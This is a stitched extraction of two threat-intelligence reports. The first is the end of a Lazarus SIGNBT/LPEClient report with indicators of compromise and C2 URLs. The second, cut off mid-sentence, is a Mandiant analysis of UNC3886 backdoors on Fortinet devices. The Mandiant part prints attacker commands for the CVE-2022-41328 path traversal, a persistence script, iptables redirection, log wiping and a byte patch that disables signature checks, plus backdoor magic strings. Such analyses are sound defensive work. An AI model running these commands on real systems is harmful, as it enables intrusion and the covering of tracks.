observed to implant the phantom DLL we +already described in the SIGNBT loader section above. +Based on the analysis, it is evident that the actor +s initial compromise of the victim involved +exploiting vulnerabilities within the software exploit. They then proceeded to deploy the +SIGNBT malware using a DLL side-loading technique. Furthermore, the actor used the +backdoor capability +deploy + to implant an additional payload for automated execution. This +multifaceted attack demonstrates a high level of sophistication and a deliberate effort to +infiltrate and maintain control over the victim +s system. +LPEClient +Using the comprehensive backdoor as described above, the actor deploys additional +malware in the victim +s memory. Notably, these newly delivered malware variants +predominantly execute in the system +s memory only, without touching the disk. Based on our +telemetry, the actor has been observed to deliver such tools as LPEClient and credential +dumping utilities to the victim machines. +Additional payload delivered by SIGNBT +The LPEClient malware is not new and was first discovered during an investigation of a +defense contractor attack in 2020. It is designed to collect victim information and download +additional payloads from a remote server to run in memory. Although it has been previously +7/11 +noted in our threat intelligence reports to our customers, recent discoveries indicate that +LPEClient has undergone significant evolution. It now employs advanced techniques to +improve its stealth and avoid detection, such as disabling user-mode syscall hooking and +restoring system library memory sections. This indicates a continued effort by the threat +actors to increase the sophistication and effectiveness of their malware. +Connections with other campaigns +One of the malware strains employed in this attack, known as LPEClient, has featured +prominently in recent activity attributed to the Lazarus group. This particular malware +consistently serves as the initial infection vector, enabling victim profiling and facilitating the +delivery of additional payloads. Over an extended period of time, one of these campaigns +specifically targeted defense contractors and nuclear engineers. In a recent incident, the +threat actor compromised a victim by delivering LPEClient via a Trojanized VNC or Putty +client for an intermediate infection. Another campaign targeting the cryptocurrency industry +was discovered in July 2023. In this financially motivated campaign, the actor leveraged the +Gopuram malware, associated with the 3CX supply chain attack. Interestingly, the actor also +used LPEClient malware in this case. Prior to the introduction of the Gopuram cluster, +LPEClient was used to deliver the subsequent malware. These three campaigns attributed to +Lazarus in 2023 illustrate different initial infection vectors and infection chains, but they +consistently relied on LPEClient malware to deliver the final payload. +The infection chains of the three campaigns attributed to Lazarus in 2023 +Conclusions +8/11 +The Lazarus group remains a highly active and versatile threat actor in today +s cybersecurity +landscape. The threat actor has demonstrated a profound understanding of IT environments, +refining their tactics to include exploiting vulnerabilities in high-profile software. This +approach allows them to efficiently spread their malware once initial infections are achieved. +Moreover, the activities of this notorious actor transcend geographic boundaries and industry +sectors. They have targeted various industries, each with distinct objectives and using +different tools, tactics and techniques. This underscores their recent and ongoing activity +characterized by sophisticated methods and unwavering motivations. +Indicators of Compromise +SIGNBT loader +9cd90dff2d9d56654dbecdcd409e1ef3 +88a96f8730b35c7406d57f23bbba734d +54df2984e833ba2854de670cce43b823 +Ae00b0f490b122ebab614d98bb2361f7 +e6fa116ef2705ecf9677021e5e2f691e +31af3e7fff79bc48a99b8679ea74b589 +%system%\ualapi.dll +%system%\ualapi.dll +%system%\ualapi.dll +%system%\ualapi.dll +C:\GoogleD\Coding\JS\Node\winhttp.dll +SIGNBT +9b62352851c9f82157d1d7fcafeb49d3 +LPEClient +3a77b5054c36e6812f07366fb70b007d +%systme%\wbem\wbemcomn.dll +E89fa6345d06da32f9c8786b65111928 +%ProgramData%\Microsoft\Windows\ServiceSetting\ESENT.dll +File path +C:\GoogleD\Coding\JS\Node\SgrmLpac.exe +C:\GoogleD\Coding\JS\Node\winhttp.dll +C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp +C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp +C:\ProgramData\ntuser.008.dat +C:\ProgramData\ntuser.009.dat +C:\ProgramData\ntuser.001.dat +C:\ProgramData\ntuser.002.dat +C:\ProgramData\Microsoft\Windows\ServiceSetting\ESENT.dll +C2 servers +hxxp://ictm[.]or[.]kr/UPLOAD_file/board/free/edit/index[.]php +hxxp://samwoosystem[.]co[.]kr/board/list/write[.]asp +hxxp://theorigin[.]co[.]kr:443/admin/management/index[.]php +hxxp://ucware[.]net/skins/PHPMailer-master/index[.]php +9/11 +hxxp://www[.]friendmc[.]com/upload/board/asp20062107[.]asp +hxxp://www[.]hankooktop[.]com/ko/company/info[.]asp +hxxp://www[.]khmcpharm[.]com/Lib/Modules/HtmlEditor/Util/read[.]cer +hxxp://www[.]vietjetairkorea[.]com/INFO/info[.]asp +hxxp://yoohannet[.]kr/min/tmp/process/proc[.]php +hxxps://admin[.]esangedu[.]kr/XPaySample/submit[.]php +hxxps://api[.]shw[.]kr/login_admin/member/login_fail[.]php +hxxps://hicar[.]kalo[.]kr/data/rental/Coupon/include/inc[.]asp +hxxps://hspje[.]com:80/menu6/teacher_qna[.]asp +hxxps://kscmfs[.]or[.]kr/member/handle/log_proc[.]php +hxxps://kstr[.]radiology[.]or[.]kr/upload/schedule/29431_1687715624[.]inc +hxxps://little-pet[.]com/web/board/skin/default/read[.]php +hxxps://mainbiz[.]or[.]kr/SmartEditor2/photo_uploader/popup/edit[.]asp +hxxps://mainbiz[.]or[.]kr/include/common[.]asp +hxxps://new-q-cells[.]com/upload/newsletter/cn/frame[.]php +hxxps://pediatrics[.]or[.]kr/PubReader/build_css[.]php +hxxps://pms[.]nninc[.]co[.]kr/app/content/board/inc_list[.]asp +hxxps://safemotors[.]co[.]kr/daumeditor/pages/template/template[.]asp +hxxps://swt-keystonevalve[.]com/data/editor/index[.]php +hxxps://vnfmal2022[.]com/niabbs5/upload/gongji/index[.]php +hxxps://warevalley[.]com/en/common/include/page_tab[.]asp +hxxps://www[.]blastedlevels[.]com/levels4SqR8/measure[.]asp +hxxps://www[.]droof[.]kr/Board/htmlEdit/PopupWin/Editor[.]asp +hxxps://www[.]friendmc[.]com:80/upload/board/asp20062107[.]asp +hxxps://www[.]hanlasangjo[.]com/editor/pages/page[.]asp +hxxps://www[.]happinesscc[.]com/mobile/include/func[.]asp +hxxps://www[.]healthpro[.]or[.]kr/upload/naver_editor/subview/view[.]inc +hxxps://www[.]medric[.]or[.]kr/Controls/Board/certificate[.]cer +hxxps://www[.]muijae[.]com/daumeditor/pages/template/simple[.]asp +hxxps://www[.]muijae[.]com/daumeditor/pages/template/template[.]asp +hxxps://www[.]nonstopexpress[.]com/community/include/index[.]asp +hxxps://www[.]seoulanesthesia[.]or[.]kr/mail/mail_211230[.]html +hxxps://www[.]seouldementia[.]or[.]kr/_manage/inc/bbs/jiyeuk1_ok[.]asp +hxxps://www[.]siriuskorea[.]co[.]kr/mall/community/bbs_read[.]asp +hxxps://yoohannet[.]kr/min/tmp/process/proc[.]php +MITRE ATT&CK Mapping +Tactic +Techniques +Initial Access +T1189 +10/11 +Execution +T1203 +Persistence +T1547.012, T1574.002 +Privilege Escalation +T1547.012 +Defense Evasion +T1140, T1574.002, T1027.001, T1027.002, T1620 +Credential Access +T1003.001 +Discovery +T1057, T1082, T1083 +Collection +T1113 +Command and Control +T1071.001, T1132.002, T1573.001 +Exfiltration +T1041 +Backdoor +Lazarus +Malware Descriptions +Malware Technologies +Targeted attacks +Vulnerabilities and exploits +A cascade of compromise: unveiling Lazarus + new campaign +Your email address will not be published. Required fields are marked * +11/11 +Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in +Espionage Operation +mandiant.com/resources/blog/fortinet-malware-ecosystem +Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions +such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and others). Mandiant has +investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations +over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal +user credentials and maintain long-term access to the victim environments. +We often observe cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed +systems as an initial attack vector. In this blog post, we describe scenarios where a suspected China-nexus threat actor likely already +had access to victim environments, and then deployed backdoors onto Fortinet and VMware solutions as a means of maintaining +persistent access to the environments. This involved the use of a local zero-day vulnerability in FortiOS (CVE-2022-41328) and +deployment of multiple custom malware families on Fortinet and VMware systems. Mandiant published details of the VMware +malware ecosystem in September 2022. +In mid-2022, Mandiant, in collaboration with Fortinet, investigated the exploitation and deployment of malware across multiple +Fortinet solutions including FortiGate (firewall), FortiManager (centralized management solution), and FortiAnalyzer (log +management, analytics, and reporting platform). The following steps generally describe the actions the threat actor took: +1. Utilized a local directory traversal zero-day (CVE-2022-41328) exploit to write files to FortiGate firewall disks outside of the +normal bounds allowed with shell access. +2. Maintained persistent access with Super Administrator privileges within FortiGate Firewalls through ICMP port knocking +3. Circumvented firewall rules active on FortiManager devices with a passive traffic redirection utility, enabling continued +connections to persistent backdoors with Super Administrator privileges +4. Established persistence on FortiManager and FortiAnalyzer devices through a custom API endpoint created within the device +5. Disabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot files +Mandiant attributes this activity to UNC3886, a group we suspect has a China-nexus and is associated with the novel VMware ESXi +hypervisor malware framework disclosed in September 2022. At the time of the ESXi hypervisor compromises, Mandiant observed +UNC3886 directly connect from FortiGate and FortiManager devices to VIRTUALPITA backdoors on multiple occasions. +Mandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA from the +Fortinet management IP addresses. Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) +compliance mode enabled failed to boot after it was later rebooted. When FIPS mode is enabled, a checksum of the operating system +is compared with the checksum of a clean image. Since the operating system was tampered by the threat actor, the checksum +comparison failed, and the FortiGate Firewalls protectively failed to startup. With assistance from Fortinet, Mandiant acquired a +forensic image of these failing devices, prompting the discovery of the ICMP port knocking backdoor CASTLETAP. +Fortinet Ecosystem +Multiple components of the Fortinet ecosystem were targeted by UNC3886 before they moved laterally to VMWare infrastructure. +These components and their associated versions, at the time of compromise, are listed as follows: +FortiGate: 6.2.7 + FortiGate units are network firewall devices which allow for the control and monitoring of network traffic +passing through the devices. +FortiManager 6.4.7 + The FortiManager acts as a centralized management platform for managing Fortinet devices. +FortiAnalyzer 6.4.7 +The FortiAnalyzer acts as a centralized log management solution for Fortinet devices as well as a +reporting platform. +Scenario #1 (Summary): FortiManager Exposed to the Internet +Mandiant observed two distinct attack lifecycles where the threat actor abused Fortinet technologies to establish network access. The +first occurred when the threat actor initially gained access to the Fortinet ecosystem while the FortiManager device was exposed to +the internet. +1/21 +During this attack lifecycle, as seen in Figure 1, backdoors disguised as legitimate API calls (THINCRUST) were deployed across both +FortiAnalyzer and FortiManager devices. Once persistence was established across the two devices, FortiManager scripts were used to +deploy backdoors (CASTLETAP) across the FortiGate devices. +Mandiant observed SSH connections from the Fortinet devices to the ESXi servers, followed by the installation of malicious vSphere +Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoors. This enabled the threat actor persistent access to +the hypervisors, and allowed the attacker to execute commands on guest virtual machines. +Mandiant has no evidence of a zero-day vulnerability being used to gain initial access or deploy the malicious VIBs at the time of +writing this post. VIRTUALPITA and VIRTUALPIE were discussed in more detail in a previous Mandiant blog post published in +September 2022. +2/21 +Figure 1: Attack lifecycl +e while FortiManager was accessible from the Internet +Scenario #2 (Summary): FortiManager Not Exposed to the Internet +3/21 +The second attack lifecycle occurred where the FortiManager devices had network Access Control Lists (ACL) put in place to restrict +external access to only TCP port 541 (FortiGate to FortiManager Protocol). During this attack lifecycle, as seen in Figure 2, the threat +actor deployed a network traffic redirection utility (TABLEFLIP) and reverse shell backdoor (REPTILE) on the FortiManager device +to circumvent the new ACLs. With the redirection rules established by the TABLEFLIP utility, the threat actor was able to access the +REPTILE backdoor directly from the Internet for continued access to the environment. +Figure 2: Activity after Internet access restrictions implemented to FortiManager +Scenario #1 (Detailed): FortiManager Exposed to the Internet +The technical details that follow describe the attack path taken by the threat actor when the FortiManager was initially exposed to the +Internet. +THINCRUST Backdoor (Python-based Backdoor) +Mandiant +s analysis identified that upon initial connection to the FortiManager, the threat actor appended python backdoor code to a +legitimate web framework file. Mandiant classified this new malware family as THINCRUST. +The threat actor modified the legitimate file /usr/local/lib/python3.8/proj/util/urls.py to include an additional malicious +API call, show_device_info , which can be seen in Figure 3. This allowed the threat actor to interact with the THINCRUST +backdoor through POST requests to the URI + /p/util/show_device_info +4/21 +Figure 3: Comparison of urls.py +When a POST request was sent to the show_device_info URL, it passed the request to the function get_device_info in +/usr/local/lib/python3.8/proj/util/views.py . The get_device_info function contained the THINCRUST backdoor +enabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies provided in the +POST request as seen in Figure 4. +Figure 4: THINCRUST backdoor python code +The get_device_info function relied on the presence of two (2) cookies, FGMGTOKEN and DEVICEID , within the POST requests. +The FGMGTOKEN cookie is encrypted with an RSA key hardcoded into views.py and contained an RC4 key that decrypted the +commands received through the DEVICEID cookie. The decrypted result of DEVICEID were a JSON encoded dictionary with the +keys 'id' and 'key'. As seen in Table 1, the 'id' value determined which action to execute within the backdoor, and the + value +contained a string that acted as the arguments for the action being performed. +Command +Execute the command line stored in 'key' +Write the contents of the HTTP request to the file stored in 'key'. The contents are RC4 encrypted +Read the contents of the file stored in 'key' and transfer the contents RC4 encrypted to the client +5/21 +Table 1: get_device_info backdoor capabilities +While most files in views.py had the @login_required decorator applied to them [decorators are any functions (Syntax to call +decorator: @) that extend the behavior of another function without explicitly modifying the code], the malicious +function get_device_info utilized the Django python module native to the system to add a @csrf_exempt decorator to the +function as seen in Figure 5. This means that the POST request to the malicious API call did not require a login or CSRF token to +successfully run. +Figure 5: @login_required vs @csrf_exempt decorators +Mandiant identified that a variant of this malicious API call was also present on a FortiAnalyzer device. While the backdoor function +in views.py , get_device_info , was the same as FortiManager, the API call used to access the backdoor was changed to +/p/utils/fortigate_syslog_send on the FortiAnalyzer device, as seen in Figure 6. +Figure 6: FortiAnalyzer variant of urls.py: fortigate_syslog_send +Exploitation of CVE-2022-41328 on FortiGate Devices +After persistence was established across the FortiManager and FortiAnalyzer devices with the THINCRUST backdoor, the threat +actor deployed FortiManager scripts to multiple FortiGate firewalls. This activity was logged in the FortiGate elog as seen in Figure 7. +vd="root" +type="event" +subtype="system" +level="notice" logdesc="Upload and run a script" +user= +Fortimanager_Access +ui="fgfmd" +msg=" User Fortimanager_Access via fgfmd upload and run script: -- OK" +Figure 7: FGFM script deployment log entry +The threat actor deleted these FortiManager scripts from the FortiManager device before they could be recovered for analysis, but +correlation of multiple event log types show that the scripts took advantage of a path traversal vulnerability (CVE-2022-41328). The +vulnerability was exploited by the threat actor using the command execute wireless-controller hs20-icon upload-icon (as +seen in Figure 8). This command allowed the threat actor to overwrite legitimate files in a normally restricted system directory. +Normally, the execute wireless-controller hs20-icon upload-icon command is used to upload .ico files (icon files) from a +6/21 +server to a FortiGate firewall using the File Transfer Protocol ( +) or Trivial File Transfer Protocol ( +TFTP +), where they can be +used in HotSpot 2.0 Online Sign-Up (OSU) portals. HotSpot 2.0 is a technology which allows for devices to seamlessly switch +between cellular data and public Wi-Fi. +However, the execute wireless-controller hs20-icon upload-icon command suffered from two issues. The command did +not validate the type of file being uploaded and was susceptible to a directory traversal exploit allowing a threat actor with Super +Administrator privileges to upload a file smaller than 65,535 bytes to any location on the file system. This means that outside of the +size constraints of the command, +a threat actor could replace any legitimate system file on the FortiGate firewall. +Successful exploitation of the vulnerability (CVE-2022-41328) is not logged in FortiGate elogs. Around the time of the FortiManager +script execution, the elogs recorded the threat actor +s failed attempts to overwrite the system file /bin/lspci using this exploit, +seen in Figure 8. +execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci +Figure 8: FortiGate elog failed command execution +execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci +Fortinet confirmed the exploitation of this command was not seen prior to these events and assigned the designation CVE-202241328. Fortinet successfully replicated the exploit using the syntax seen in the failed command events. +Further supporting evidence of attempted exploitation was found in FortiGuard logs events with + file_transfer: +TFTP.Server.Buffer.Overflow repeated X times + in the msg field. These events showed connections from the FortiGate +firewalls to the FortiAnalyzer device, where the packet contents included the lscpi directory traversal string, as seen in Figure 9. A +directory traversal string with the filename node was also referenced in a similar event, which is another binary in the /bin/ +directory of a FortiGate 6.2.7 device, but Mandiant only observed the threat actor replacing the lscpi binary successfully. +PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT +0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0 +VUPg== +Base 64 Decoded + ..../../../../../../bin/lspci.octet. +Figure 9: IPS Sensor Logs - Attack Context Field +Symlink to Suspected Backdoor (/bin/lspci -> /bin/sysctl) +Mandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of /bin/lspci based on the failed +commands seen within FortiGate logs. In total, two variants of /bin/lspci were identified; a standalone version of the binary and +a version which was symlinked to /bin/sysctl . Fortinet confirmed that /bin/lspci should always be a standalone binary. +File listing entries for /bin/lspci and /bin/sysctl on the compromised FortiGate firewalls contained similar timestamps that +did not align with other legitimate binaries on the FortiGate machines. Additionally, the file size for /bin/sysctl on the +compromised FortiGate firewall was much larger than reported on non-compromised devices. +Under normal circumstances, the command + diagnose hardware lscpi + is used to list PCIe devices connected to the FortiGate +firewall, but once the threat actor replaced the legitimate lspci binary with a symlink, the diagnostic command could execute the +sysctl file the threat actor modified instead. +The file listing snippets in Figure 10 and Figure 11 highlight the differences across the original and modified versions of /bin/lspci +and /bin/sysctl present on the FortiGate firewalls. +7/21 +COMPROMISED-FGT101F # fnsysctl ls -la /bin +lrwxrwxrwx +1 root +root +9 Oct 18 13:09 lldptx -> /bin/init +lrwxrwxrwx +1 root +root +9 Oct 18 13:09 lnkmtd -> /bin/init +lrwxrwxrwx +1 root +root +11 Oct 19 05:11 lspci -> /bin/sysctl +lrwxrwxrwx +1 root +root +9 Oct 18 13:09 lted -> /bin/init +lrwxrwxrwx +1 root +root +9 Oct 18 13:09 memuploadd -> /bin/init +1 root +root +-rwxr-xr-x +1478216 Oct 19 05:11 sysctl +Figure 10: Compromised FortiGate firewall with malicious entries for /bin/lspci and /bin/sysctl +NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin +lrwxrwxrwx +Fri Sep +2 12:07:55 2022 +9 lldptx -> /bin/init +lrwxrwxrwx +Fri Sep +2 12:07:55 2022 +9 lnkmtd -> /bin/init +-rwxr-xr-x +Fri Sep +2 12:07:55 2022 +lrwxrwxrwx +Fri Sep +2 12:07:55 2022 +9 lted -> /bin/init +lrwxrwxrwx +Fri Sep +2 12:07:55 2022 +9 memuploadd -> /bin/init +Fri Sep +2 12:07:55 2022 +131736 lspci +-rwxr-xr-x +251480 sysctl +Figure 11: Non-Compromised FortiGate firewall with legitimate entries for /bin/lspci and /bin/sysctl +In addition to the differences in modification time and size, the output of the file listing command fnsysctl ls -l /bin displayed +multiple fields in different formats and order. This is likely due to the threat actor replacing /bin/sysctl and therefore changing +the shell functionality on the FortiGate firewall. Changes made to the FortiOS file system are not persistent, so the files were unable +to be recovered for analysis. +By default, Fortinet devices running FortiOS have an archive on disk labelled rootfs.gz within the /data/ partition. Upon boot, +this file is mounted as the root filesystem. This means if modifications are made to the mounted image, the changes will not be +persistent unless they are written to the rootfs.gz archive. FortiGate firewalls do not support files being exported from the +mounted filesystem during runtime. Since the modifications made to /bin/lspci and /bin/sysctl were not written to the +rootfs.gz archive, they were not installed persistently and could not be further analyzed. +Mandiant coordinated with Fortinet to obtain a forensic image of the compromised FortiGate firewalls and better identify the +expected contents of the devices. Comparing the forensic image of the compromised FortiGate firewall to a known-good version, +Fortinet identified a trojanized firmware that contained a persistent backdoor. Mandiant refers to the backdoor as a new malware +family named CASTLETAP. +CASTLETAP (FortiGate Firewall Backdoor) +Analysis on the FortiGate firewalls identified an additional malicious file /bin/fgfm . Analysis of /bin/fgfm determined it to be a +passive backdoor, named CASTLETAP, that listened for a specialized ICMP packet for activation. The threat actor likely named the +file + fgfm + in an attempt to disguise the backdoor as the legitimate service + fgfmd + which facilitates communication between the +FortiManager and FortiGate firewalls. +8/21 +Once executed, CASTLETAP created a raw promiscuous socket to sniff network traffic. CASTLETAP then filtered and XOR decoded a +9-byte magic activation string in the payload of an ICMP echo request packet. Table 2 shows the magic strings interpreted by +CASTLETAP and their resultant actions. +Magic String +Description +1qaz@WSXa +Parse C2 information from ICMP payload and connect to it over SSL. +hpaVAj2FJ +Kills CASTLETAP process. +Table 2: CASTLETAP magic string options +To decode the C2 information within the ICMP packet, a single-byte XOR key was derived from the Epoch date stamp to decrypt the +payload data. This meant the encoding standard changed every day. Figure 12 show the formula that was used to calculate the XOR +key. +((year + 1900 + month * (year + 1900)) * date) % 255 +year: index starting from 1900 i.e. current_year-1900 +month: index starting from 0 +date: index starting from 1 +Figure 12: CASTLETAP XOR key calculation +Table 3 defines the payload structure of the ICMP packet expected by CASTLETAP. +Byte Index/Range +Payload Section Description +<0x00-0x01> + +<0x01-0x02> + +<0x02-0x0c> +<9-byte magic string + null byte> +<0x0c-0x10> + +<0x10-0x15> + +Table 3: CASTLETAP ICMP packet structure +When the C2 IP address and port was parsed from the activation packet, CASTLETAP initiated a connection to the C2 over an SSL +socket. Once this connection was established, CASTLETAP expected the C2 server to initiate a handshake with the 16-byte sequence +seen in Figure 13, echoing the same sequence in response. +0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D +Figure 13: CASTLETAP handshake sequence +Once connected to the C2, CASTLETAP could accept multiple types of commands over SSL, as seen in Table 4. +Command +Description +Upload file (to victim) +9/21 +Download file (from victim) +Spawn busybox based command shell, otherwise fallback to a normal command shell. +Continue receiving +Receive complete +Table 4: CASTLETAP command key +When a command was successfully received, the backdoor returned the sequence +;7(Zu9YTsA7qQ#vw + as an acknowledgement +token; this same string was also sent to signal session termination. +Once CASTLETAP was deployed to the FortiGate firewalls, the threat actor connected to ESXi and vCenter machines. The threat +actor deployed VIRTUALPITA and VIRTUALPIE to establish persistence, allowing for continued access to the hypervisors and the +guest machines. This is described in further detail in the blog post, +Bad VIB(E)s Part One: Investigating Novel Malware Persistence +Within ESXi Hypervisors. +Scenario #2 (Detailed): FortiManager Not Exposed to the Internet +The technical details that follow describe the attack path taken by the threat actor where the FortiManager had network Access +Control Lists (ACL) set up to restrict external access. +Regaining Access to the Internet-restricted FortiManager +When ACLs were implemented on the FortiManager device, the threat actor lost direct public access to device. To regain access to the +FortiManager, the threat actor pivoted from a FortiGate Firewall compromised with CASTLETAP. The threat actor then deployed the +following three (3) malicious files, seen in Table 5, to the FortiManager upon successful reconnection. +Malware +Family +File Path +Description +/bin/support +Launches /bin/auth and /bin/klogd and deletes the two files along with +/bin/support from disk. +TABLEFLIP +/bin/auth +A passive utility to setup network traffic redirection from a specific IP +address destined to the FortiManager on TCP port 541 to another specified +port. +REPTILE +/bin/klogd +A backdoor utility that listens for a specialized packet for activation. +Table 5: Attack Lifecycle 2 Malware Key +The file /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda ) served as a launch script to execute /bin/klogd +(REPTILE variant) and /bin/auth (TABLEFLIP). The attacker modified the startup file /etc/init.d/localnet to execute the +line + nohup /bin/support & + so the script would run every time the system was rebooted. Since the running FortiOS file system +was an ephemeral copy of the archive rootfs.gz , the files would be deleted from the ephemeral copy after being loaded into +memory and persist in the rootfs.gz archive, a file not accessible to users without pulling a forensic image. The contents of +/bin/support can be seen in Figure 14. +10/21 +#!/bin/bash +#cp /bin/sh /bin/top +sleep 30 +/bin/klogd +/bin/auth +rm -rf /bin/klogd +rm -rf /nohup.out +rm -rf /bin/support +Figure 14: Contents of +/bin/support +TABLEFLIP (Traffic Redirection Utility) +To enable continued access directly from the Internet, the threat actor implemented TABLEFLIP (MD5: +b6e92149efaf78e9ce7552297505b9d5 ), a passive traffic redirection utility that listens on all active interfaces for specialized +command packets. With this utility in place, and regardless of the ACL +s in place, the threat actor would be able to connect directly to +the FortiManager as seen in Figure 15. +11/21 +Figure 15: TABLEFLIP behavior +TABLEFLIP was configured to listen on all active interfaces for TCP packets and searches at the start of the TCP payload for the +following magic packet, shown in Figure 16, for packets destined for port TCP 541. +17 03 01 01 D8 54 2F 31 +Figure 16: TABLEFLIP magic +number sequence +If the magic number was found, the malware extracted a XOR key from offset 0xB of the TCP payload. This key was used as a seed for +XOR based sequential decryption. TCP payload offset 0xC onwards was decrypted using this scheme. Figure 17 shows the structure of +the payload. +12/21 +struct _payload +_DWORD magic_dword1; +_DWORD magic_dword2; +_BYTE unused[3]; +_BYTE xor_key; +_DWORD command; +_DWORD ip; +_WORD port; +Figure 17: TABLEFLIP +payload structure +The malware then attempted to extract the command, IP, and port from the payload. Table 6 describes the command and actions +taken when a command was recognized. +Command +Description +0xFFFEFDFC +Enable redirection for traffic with source IP matching extracted IP and port 541 to extracted destination port +0xFCFDFEFF +Disable redirection for traffic with source IP matching extracted IP and specified destination port +Table 6: TABLEFLIP capabilities key +Traffic redirection was accomplished by adding iptables rules on the FortiManager system as seen in Figure 18. with the source IP +and redirection port specified in the command packet. iptables was executed to check if a PREROUTING rule for that IP and port +combination already existed. If the combination was not found, a new redirection rule was added in the PREROUTING chain. The +rules under the PREROUTING chain were processed immediately once the packet is received on an interface. +iptables -t nat -S PREROUTING | grep | grep || iptables -t nat -A PREROUTING p tcp -s --dport 541 -j REDIRECT --to-port +Figure 18: iptables rule to implement traffic redirection +When assigned to delete traffic redirection, TABLEFLIP utilized the grep command to filter on all lines in the PREROUTING chain +which contained the IP address and redirection port of interest, capturing the appropriate rule id +s with awk . These id +s were passed +back to iptables with xargs to have them removed from the PREROUTING chain, as seen in Figure 19. +iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '.*< redirection_port>' | awk -F: '{print +$1}'| xargs iptables -t nat -D PREROUTING +Figure 19: iptables rule to disable traffic redirection +REPTILE (Backdoor) +To achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename /bin/klogd +(MD5: 53a69adac914808eced2bf8155a7512d ) that Mandiant refers to as REPTILE, a variant of a publicly available Linux kernel +module (LKM) rootkit. With the assistance of TABLEFLIP, the threat actor was able to successfully forward traffic and access the +REPTILE backdoor using iptables traffic redirection rules. +Once executed, REPTILE created a packet socket to receive OSI layer 2 packets. When a packet was received, the backdoor would +perform the check seen in the pseudocode in Figure 20 to determine if a magic string was present. +13/21 +single_byte_xor_key = (month * year) * day % 255 +index = 2 * data_received_on_port_8[7]; +data_to_decode_ptr = *((char *)&data[index + 12] + 1) +i = 0 +while ( i < strlen(data_to_decode) ) +decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key; +strncmp(&decoded_data, "mznCvqSBo", 9) +Figure 20: REPTILE magic string detection pseudocode +Table 7 shows the magic strings interpreted by REPTILE and their resultant actions. +Magic String +Description +mznCvqSBo +Parse C2 information from OSI layer 2 packet and connects to it over SSL. +hpaVAj2FJ +Kills REPTILE process (Only searched for if first magic string not found) +Table 7: REPTILE magic string options +Similar to the method used by CASTLETAP to decode the C2 information, REPTILE derived a single-byte XOR key from the Epoch +date stamp to decrypt payload data, which caused the encryption key to change daily. Figure 21 shows the formula that was used to +calculate the XOR key. +(month * (year + 1900)) * day % 255 +year: index starting from 1900 i.e. current_year-1900 +month: index starting from 0 +date: index starting from 1 +Figure 21: REPTILE XOR key calculation +If the magic string + mznCvqSBo + was found, a reverse shell was created with the C2 IP address and destination port extracted from +the rest of the activation packet payload. When the first magic string was not present, the binary searched for the second magic string + hpaVAj2FJ +. If this second magic string was found, the REPTILE process will end. +If no magic strings were found, the backdoor continued to listen for other connections. +Threat Actor Anti-Forensics +Clearing and Modifying Logs +Mandiant analyzed the system memory of the FortiManager and identified threat actor commands used to clear specific events that +contained the threat actor +s IP address from multiple log sources. The commands seen in Figure 22 were utilized by the threat actor +to remove log entries containing the IP address used to connect to the THINCRUST backdoor. +echo > /var/log/django.log; \ +echo > /var/log/apache2/error_log; \ +sed -i +//d + /var/log/apache2/*log; \ +ls -alt /var/log/ /var/log/apache2/ +Figure 22: Threat actor +s anti-forensics commands +Disabling File System Verification on Startup +14/21 +In an attempt to skip digital signature verification checks made to the file system on boot, the threat actor added the command seen +in Figure 23 to the startup config /etc/init.d/localnet within the rootfs.gz archive of both FortiManager and FortiAnalyzer +devices. +printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null +Figure 23: /etc/init.d/localnet + DD Command +Comparing the compromised /bin/smit ( a388ebaef45add5da503e4bf2b9da546 ) with a clean version from both FortiManager +and FortiAnalyzer, the modified binary contained a single byte difference. The modified location within /bin/smit is executed +when the mount command line argument is given on system startup. Normally, the mount function would perform OpenSSL 1.1.0 +digital signature verification checks on the files in Figure 24 against /data/.fmg_sign , but this modification changed a conditional +jump instruction to an unconditional jump instruction which always skipped digital signature verification checks normally made on +the system files. +/data/extlinux.sys +/data/extlinux.conf +/data/boot.msg +/data/vmlinuz +/data/rootfse-fe +Figure 24: Files normally +checked by /bin/smit +Since the mount command executes prior to /etc/init.d/localnet on system startup, the dd command will overwrite the +22,866th byte of /bin/smit with the character +, reverting the binary to a state that appears as if it was never tampered with, +even if the file was hashed. +Attribution +UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they +utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. +Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of +such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems. +Another threat cluster unrelated to UNC3886, suspected to be from China has recently been observed targeting zero-day +vulnerabilities in Fortinet as reported by Mandiant in mid-January of 2023. Mandiant continues to gather evidence and identify +overlaps between UNC3886 and other groups that are attributed to Chinese APT. +Conclusion +The activity discussed in this blog post is further evidence that advanced cyber espionage threat actors are taking advantage of any 